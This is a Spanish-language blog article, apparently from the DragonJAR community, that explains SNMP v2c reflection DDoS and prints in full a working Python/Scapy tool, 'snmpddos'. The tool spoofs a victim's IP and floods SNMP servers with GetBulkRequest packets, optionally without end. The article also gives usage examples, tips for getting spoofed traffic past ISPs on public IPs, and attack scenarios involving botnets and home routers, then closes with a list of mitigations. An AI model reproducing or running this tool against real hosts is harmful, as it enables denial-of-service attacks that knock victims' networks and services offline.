Explotando DDoS usando servidores SNMP
El objetivo de esta entrada es presentar una herramienta que denomine snmpddos, esta herramienta permite utilizar servidores SNMP V2c para realizar un ataque de denegación de servicio distribuido basado en reflexión (SNMP reflected attack); antes de enfocarnos en la práctica de este ataque vamos a explicar en qué consiste y como funciona, explotando DDoS usando servidores SNMP.
Explotando DDoS usando servidores SNMP funcionamiento del ataque
Antes de entender la técnica de DDoS basada en reflexión SNMP, vamos recordar que SNMP es un protocolo de administración, su uso ha sido muy extendido para el monitoreo y supervisión de los dispositivos de red en entornos corporativos, existen tres versiones:
SNMP V1 (no recomendada), V2c (no recomendada) y V3 (recomendada), las dos primeras versiones tienen autenticación débil (basado en el valor de la comunidad) y no cifran la información, SNMP utiliza típicamente UDP como protocolo de transporte, utiliza los puertos UDP/161 y UDP/162 (traps).
Factores determinantes para ejecutar un ataque explotando DDoS usando servidores SNMP
Los dos factores determinantes para ejecutar el ataque son los siguientes:
- En una comunicación basada en protocolo UDP (no orientada a la conexión) y por motivos de eficiencia, los datos se envían y se reciben sin verificar la conexión con el origen o destino de la misma y se da por hecho la correcta entrega o recepción de datos. Esto nos permite modificar la dirección IP origen dando pie al “IP spoofing”.
- Por otra parte el protocolo SNMP permite que se realicen consultas de gran volumen a través del tipo de solicitud llamado “GetBulkRequest”, esta solicitud en la V2c se caracteriza por que el tamaño de su respuesta (423-1560 Bytes) es mucho más grande que el de la solicitud (0-102 Bytes), esto significa que existe un efecto de amplificación ya que la respuesta es más grande que la solicitud
De acuerdo a lo explicado, a todas las solicitudes SNMP tipo GetBulkRequest que se hagan a un servidor SNMP modificando la IP origen (IP Spoofing) por la IP de la víctima, el servidor SNMP responderá con respuestas de gran tamaño a IP la víctima. (tal como lo muestra la siguiente imagen).
Si esto mismo lo masificamos obtendremos un ataque de denegación distribuido basado en reflexión SNMP, tal como se muestra en la siguiente imagen:
SCRIPT snmpddos
Este script se encuentra escrito en Python y hace uso de Scapy, funciona perfectamente en Bactrack 5 R3 y KALI. El código se encuentra en GitHub y se puede descargar desde https://github.com/jevalenciap/snmpddos/blob/master/snmpddos.py
# Autor: Juan Esteban Valencia Pantoja jevalenciap at gmail dot com import sys import random import logging # La siguiente linea es usada para omitir los errores de IPV6 que pueden aparecer por importar scapy. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import argparse import os import urllib2 if os.getuid() != 0: # Valida si el script esta siendo corrido como root print("Debes ejecutar este script como root.") sys.exit(1) parser = argparse.ArgumentParser(description='Esta herramienta contruida con fines educacionales permite simular el comportamiento de un ataque de denegacion de servicio distribuida basado en reflexion utilizando el protocolo SNMP V2c (DDoS SNMP reflected attack). ') # Esta y las siguientes 4 lineas controlan y definen los argumentos ingresados parser.add_argument('-d', action="store",dest='snmp_server', help='La IP destino del servidor SNMP(argumento mandatorio)') parser.add_argument('-c', action="store",dest='community', help='La comunidad SNMP(por defecto es public).') parser.add_argument('-p', action="store",dest='port', help='El puerto destino del servidor SNMP(por defecto es UDP 161).') parser.add_argument('-v', action="store",dest='victim_IP', help='La IP de la victima que recibira el ataque(argumento mandatorio).') parser.add_argument('-s', action="store",dest='count', help='La cantidad de paquetes que deseas enviar,puedes enviar infinitos paquetes ingresando X o x (argumento mandatorio).') args = parser.parse_args() if len(sys.argv) == 1: # Obliga a mostrar el texto del 'help' sino hay argumentos ingresados. parser.print_help() sys.exit(1) args = vars(args) # Convierte los argumentos en formato diccionario para facil manejo. iterationCount = 0 # Variable usada en el ciclo while para controlar la cantidad de veces que un paquete es enviado. oid ="1.3.6.1.2.1.1.1" # El OID conocido como sysDescr fue el que mejores resultados obtuvo en las pruebas de laboratorio. if args['port' ] == None : uport= 161 # Si no se ingresa el puerto, por defecto sera 161/UDP else: uport= int(args['port']) # La variable uport toma el valor del puerto if args['community'] == None : communi= "public" # Si no se ingresa la comunidad , por defecto sera public else: communi= args['community'] if args['count'] == "X" or args['count'] == "x": # Si se ingresa x o X se enviara infinitos paquetes while (1 == 1): w =IP(dst=args['snmp_server'],src=args['victim_IP'])/UDP(sport=RandShort(),dport=uport)/SNMP(version="v2c",community=communi,PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))# Esta linea construye el paquete SNMP utilizando los argumentos ingresados send(w, verbose=0) # Envia el paquete iterationCount = iterationCount + 1 print(str(iterationCount) + " Paquete enviado")# Mensaje en pantalla else: # Se ejecuta si el usuario digita la cantidad de paquetes que va enviar while iterationCount < int(args['count']): w =IP(dst=args['snmp_server'],src=args['victim_IP'])/UDP(sport=RandShort(),dport=uport)/SNMP(version="v2c",community=communi,PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)),SNMPvarbind(oid=ASN1_OID(oid) )]))# Se envia paquete SNMP utilizando los argumentos ingresados send(w, verbose=0) # Envia el paquete iterationCount = iterationCount + 1 print(str(iterationCount) + " Paquete enviado") print("Todos los paquetes fueron enviados exitosamente.")# Mensaje mostrado cuando todos los paquetes han sido enviados
Utilizando la opción -h podemos ver las opciones
Ejemplo de solicitudes SNMP
Explotando DDoS usando servidores SNMP, en el siguiente ejemplo enviamos 7 solicitudes SNMP tipo GetBulkRequest al servidor SNMP con IP 10.0.0.1 (Router Cisco), haciendo una suplantación de la IP origen para que todas las respuestas del servidor SNMP sean enviadas a la IP de la víctima es decir a la IP 10.0.0.3.
Aquí se utiliza la comunidad SNMP ‘public’, es la que va por defecto si el argumento –c no es especificado, al igual que el puerto destino por defecto es UDP/161 si no es especificado
En Wireshark podemos ver que el tamaño de la solicitud es de 97 Bytes.
En la siguiente imagen podemos ver la respuesta amplificada que le envía el servidor SNMP (10.0.0.1) a la víctima (10.0.0.3) en donde se aprecia que tiene un tamaño de 1438 Bytes. Adicionalmente la victima envía un paquete ICMP de port unreacheable al servidor SNMP generando tráfico adicional.
En este último ejemplo a diferencia del anterior se envían paquetes constantemente (argumento –s X), y se especifica la comunidad SNMP en “private” (argumento –c private)
Trabajando con IPs publicas
Cuando se requiera trabajar con IPs publicas validar que el dispositivo de borde no haga NAT a este tráfico. También no deben existir configuradas ACL en los routers y demás dispositivos de capa3 del ISP que impidan el IP spoofing.
Escenarios de ataque explotando DDoS usando servidores SNMP
- Un atacante que tenga acceso lógico a una Subred o VLAN de servidores en un entorno corporativo mediano (superior a 100 servidores) donde todos los servidores estén siendo monitoreados a través de SNMP, puede causar alto impacto alto en la disponibilidad de los servicios que ofrece la victima del ataque.
- Muchos proveedores de servicio de Internet dejan habilitado por defecto SNMP en los enrutadores que instalan nuestras casas para la prestación del servicio, eso quiere decir que tienen configurada la comunidad por defecto llamada “public” y a merced de que sean utilizados para hacerle una denegación de servicio a tu conexión de Internet.
- Por ultimo tenemos las botnets, que a través de sus consolas de control pueden enviar comandos a las maquinas infectadas (bots) para que generen este tipo de tráfico a la víctima sin que este sea percibido por los bots.
Mitigaciones
- No exponer a Internet el protocolo SNMP, recomendable utilizar VPNs IPsec sitio a sitio para comunicar las consolas de administración (NMS) con dispositivos administradoso en su defecto aplicar políticas de Firewall para filtrar solamente el trafico SNMP a IPs publicas específicas.
- Utilizar en los ambientes corporativos VLAN o subredes de administración ( SNMP, HTTP, HTTPS, RDP, SSH, TELNET, etc...) y deshabilitar el acceso administrativo a las demás interfaces de red de los servidores o equipos de red.
- Muchos fabricantes de UTMs y Firewall de nueva generación no permiten IP spoofing por defecto, una buena práctica que evita el IP spoofing a nivel de Firewall es siempre especificar el direccionamiento origen en las reglas o políticas que se crean (no dejarlas any).
- Existen dispositivos comerciales y servicios en la nube especializados en detener ataques DDoS.
- No utilizar las comunidades por defecto public y private, recuerden que para las V1 y V2 de SNMP el nombre de la comunidad es lo único que se utiliza para autenticarse al servidor SNMP y poder tener acceso a la información (lectura/escritura) por lo tanto el valor de la comunidad se debe escoger siguiendo las mismas buenas practicas que para una contraseña robusta.
- Utilizar SNMP V3 cifra los datos y la autenticación es más robusta.
- Exista una labor muy grande que tienen que hacer los ISP para evitar el IP spoofing en sus dispositivos de red y evitar los ataques DDoS de reflexión.
- Siempre que se instale una impresora o cualquier dispositivo a la red validar que no tenga habilitado por defecto SNMP.
También puede ser de tu Interes - http://dragonjar.org/curso-de-metasploit.xhtml
Explotando DDoS usando servidores SNMP un articulo escrito por Juan Esteban Valencia Pantoja para La Comunidad DragonJAR